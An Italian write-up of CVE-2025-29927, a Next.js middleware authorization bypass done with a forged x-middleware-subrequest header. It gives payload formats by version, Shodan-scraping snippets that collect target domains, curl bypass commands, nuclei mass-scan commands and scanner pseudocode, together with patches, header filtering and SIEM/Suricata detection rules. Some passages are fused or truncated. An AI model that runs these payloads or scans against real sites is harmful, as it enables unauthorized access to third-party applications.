
Toolkit di proof-of-concept e scansione di massa per CVE-2025-29927, un bypass dell'autorizzazione di middleware Next.js tramite intestazione x-middleware-subrequest contraffatta. Include template nuclei e scanner Python.
Breve: vulnerabilità nel middleware di Next.js che consente di bypassare i controlli di autorizzazione falsificando l'header
x-middleware-subrequest.
Ho effettuato una ricerca in Shodan con il filtro http.headers:"x-middleware-rewrite" e ho raccolto un elenco di 1000 domini.
var ipElements=document.querySelectorAll('strong'),ips=[],domains=[];ipElements.forEach(function(e){var t=e.innerHTML.replace(/['"]/g,'').trim();/^(\d{1,3}\.){3}\d{1,3}$/.test(t)?ips.push(t):/^(?!\d+\.)[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/.test(t)&&domains.push(t)});var dataString='IPs:\n'+ips.join('\n')+'\n\nDomains:\n'+domains.join('\n'),a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(dataString);a.download='domains.txt';document.body.appendChild(a);a.click();
var ipElements=document.querySelectorAll('strong');var ips=[];ipElements.forEach(function(e){ips.push(e.innerHTML.replace(/["']/g,''))});var ipsString=ips.join('\n');var a=document.createElement('a');a.href='data:text/plain;charset=utf-8,'+encodeURIComponent(ipsString);a.download='ip.txt';document.body.appendChild(a);a.click();
Contesto e premesse Nelle versioni iniziali di Next.js il middleware poteva effettuare richieste interne (sub-) verso la stessa applicazione. Per prevenire la ricorsione, il framework introduceva header HTTP di servizio — marcatori interni che segnalavano «questa richiesta è già stata elaborata». Questo approccio era pratico e permetteva di evitare cicli infiniti all'interno della pipeline del middleware.
Evoluzione del middleware e payload
Prima di Next.js 12.2, il middleware era collocato come _middleware all'interno di pages/ e poteva essere annidato (pages/_middleware, pages/dashboard/_middleware ecc.). Il payload poteva specificare un percorso concreto (x-middleware-subrequest: pages/dashboard/_middleware).
Dalla 12.2, il middleware è rinominato middleware.js/ts e non risiede più in pages/. In questo caso, un semplice payload x-middleware-subrequest: middleware (o src/middleware se si usa src/) funzionava spesso.
Le versioni successive (≥ 13.2.0) hanno introdotto controlli aggiuntivi, incluso MAX_RECURSION_DEPTH; in alcuni bypass sono stati utilizzati valori ripetuti del tipo per simulare una catena annidata.
In pratica: il formato esatto del payload dipende dalla versione di Next.js e dalla struttura del progetto.
CVE-2025-29927x-middleware-subrequest. Un client esterno può impostare questo header e bypassare i controlli di accesso.x-middleware-subrequest per prendere decisioni sull'accesso. Il campo era inizialmente destinato a operazioni interne del framework, ma le richieste esterne possono impostare questo header, consentendo di bypassare l'autorizzazione.I seguenti intervalli di versioni sono vulnerabili:
>= 11.1.4 e < 12.3.5>= 13.0.0 e < 13.5.9>= 14.0.0 e < 14.2.25>= 15.0.0 e < 15.2.39.1 (CRITICO)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Ngit clone https://github.com/<author>/vulnerable-nextjs-demo.git
cd vulnerable-nextjs-demo
npm install
npm run dev
# Senza header — aspettarsi un rifiuto (302/307/401/403)
curl -si http://localhost:3000/protected | head -n 20
# Con header falsificato — se vulnerabile, restituirà 200 + corpo
curl -si -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \ http://localhost:3000/protected | head -n 20
/_next/static/, package.json, header, hash favicon) — modalità sicura.x-middleware-subrequest e confronta la risposta. Obbligatorio usare rate-limit e throttle.Comando di esecuzione (esempio):
# passivo
nuclei -t cves/2025/CVE-2025-29927-passive.yaml -l targets.txt
# attivo (controllato)
nuclei -t cves/2025/CVE-2025-29927-active.yaml -l targets.txt -c 10 -rate-limit 20
x-middleware-subrequest → confrontare stato e corpo.--concurrency, --delay, --dry-run, --respect-robots.aiohttp / asyncio per alte prestazioni.Pseudocodice breve:
async def probe(url):
r1 = await session.get(url)
r2 = await session.get(url, headers={"x-middleware-subrequest": "1"})
if significant_difference(r1, r2):
report_vulnerable(url)
>= 12.3.5, >= 13.5.9, >= 14.2.25, >= 15.2.3.x-middleware-subrequest al perimetro:x-middleware-subrequest e verificare la sorgente.Esempi di regole/alert:
SIEM: alert per richieste in arrivo con x-middleware-subrequest, se source.ip non è in trusted_proxies.
Suricata (pseudo):
alert http any any -> any any (msg:"Richiesta esterna con X-Middleware-Subrequest"; http.header; content:"x-middleware-subrequest"; sid:1000001; rev:1;)
alert if request.headers contains "x-middleware-subrequest" AND source.ip not in trusted_proxies
https://github.com/<author>/CVE-2025-29927-POChttps://github.com/<author>/vulnerable-nextjs-demomiddleware:middleware:...Storia delle correzioni e problema con x-middleware-subrequest-id
La prima patch rapida includeva l'idea di un identificatore interno — x-middleware-subrequest-id — generato e verificato a runtime per distinguere le subrequest interne valide da quelle falsificate.
Tuttavia, l'implementazione ha mostrato un effetto collaterale: questo ID interno poteva fuoriuscire (finendo nelle richieste fetch/outgoing), creando un nuovo rischio. Inoltre, la firma/sincronizzazione degli identificatori si è rivelata inaffidabile in presenza di molti CDN/PoP e runtime misti (Edge vs Node).
Di conseguenza, il codice relativo a x-middleware-subrequest-id è stato rimosso/rielaborato; la soluzione finale è una combinazione di patch in Next.js e mitigazioni a livello di piattaforma (filtraggio degli header interni in ingresso a livello di ingress/edge).